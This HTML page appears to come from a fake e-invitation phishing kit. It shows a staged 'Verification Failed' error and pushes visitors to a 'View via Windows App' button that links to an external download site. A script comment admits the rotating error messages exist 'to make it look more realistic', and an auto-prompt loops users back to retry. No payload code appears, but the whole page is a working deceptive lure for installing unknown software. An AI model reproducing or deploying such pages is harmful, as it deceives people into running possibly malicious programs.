<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verification Failed</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
            color: #fff;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            text-align: center;
            overflow: hidden;
        }
        .error-container {
            background-color: rgba(255, 255, 255, 0.15);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 20px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            max-width: 400px;
            width: 95%;
            animation: slideIn 0.8s ease-out;
            border: 1px solid rgba(255, 255, 255, 0.3);
        }
        @keyframes slideIn {
            from {
                opacity: 0;
                transform: translateY(-50px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        .error-icon {
            font-size: 60px;
            color: #ff6b6b; /* Red for failure */
            margin-bottom: 15px;
            animation: bounce 2s infinite;
        }
        @keyframes bounce {
            0%, 20%, 50%, 80%, 100% {
                transform: translateY(0);
            }
            40% {
                transform: translateY(-20px);
            }
            60% {
                transform: translateY(-10px);
            }
        }
        h1 {
            font-size: 1.8em;
            margin-bottom: 10px;
            font-weight: 700;
        }
        .error-message {
            font-size: 0.95em;
            line-height: 1.5;
            margin-bottom: 20px;
            color: #e0e0e0;
        }
        .button-container {
            margin-top: 20px;
            display: flex;
            flex-direction: column;
            gap: 10px;
        }
        .btn {
            padding: 10px 20px;
            border-radius: 8px;
            font-size: 0.95em;
            font-weight: 600;
            transition: all 0.3s ease;
            text-decoration: none;
            color: #fff;
        }
        .btn-primary {
            background-color: #4CAF50; /* Green for Try Again */
            border-color: #4CAF50;
        }
        .btn-primary:hover {
            background-color: #45a049;
            border-color: #45a049;
            transform: translateY(-2px);
        }
        .btn-secondary {
            background-color: #007bff; /* Blue for Windows App */
            border-color: #007bff;
        }
        .btn-secondary:hover {
            background-color: #0056b3;
            border-color: #0056b3;
            transform: translateY(-2px);
        }
        .help-text {
            margin-top: 20px;
            padding-top: 15px;
            border-top: 1px solid rgba(255, 255, 255, 0.2);
        }
        .help-text h3 {
            font-size: 1.2em;
            margin-bottom: 8px;
            font-weight: 600;
        }
        .help-text p {
            font-size: 0.95em;
            color: #c0c0c0;
        }
        @media (max-width: 576px) {
            .error-container {
                padding: 15px;
                max-width: 350px;
            }
            h1 {
                font-size: 1.5em;
            }
            .error-icon {
                font-size: 50px;
            }
            .btn {
                font-size: 0.9em;
                padding: 8px 16px;
            }
            .error-message {
                font-size: 0.9em;
            }
        }
    </style>
</head>
<body>
    <div class="error-container">
        <div class="error-icon">❌</div>
        <h1>Verification Failed</h1>
        <p class="error-message">
            Sorry, the invitation cannot be viewed right now. Please try again or access it directly 
            via the Windows app by clicking the button below.
        </p>
        
        <div class="button-container">
            <a href="index.php" class="btn btn-primary">
                🔄 Try Again
            </a>
            <a href="https://greetingsuit.com/invite" class="btn btn-secondary" target="_blank">
                💻 View via Windows App
            </a>
        </div>
        
        <div class="help-text">
            <h3>Alternative Access</h3>
            <p>
                If the web version continues to have issues, you can access the invitation directly 
                through the Windows app for a better experience.
            </p>
        </div>
    </div>
    
    <script>
        // Random error messages to make it look more realistic
        const errorMessages = [
            "Verification timeout. Please try again.",
            "System temporarily unavailable. Please try again.",
            "Network error detected. Please try again.",
            "Verification service is down. Please try again.",
            "Connection failed. Please try again."
        ];
        
        // Show random error message after 3 seconds (for console debugging)
        setTimeout(() => {
            const randomError = errorMessages[Math.floor(Math.random() * errorMessages.length)];
            console.log(randomError);
        }, 3000);
        
        // Auto-refresh after 60 seconds if user doesn't interact
        let autoRefreshTimer = setTimeout(() => {
            if (confirm('Would you like to try again? The system might be working now.')) {
                window.location.href = 'index.php';
            }
        }, 60000);
        
        // Clear timer if user interacts with page
        document.addEventListener('click', () => {
            clearTimeout(autoRefreshTimer);
        });
    </script>
</body>
</html>
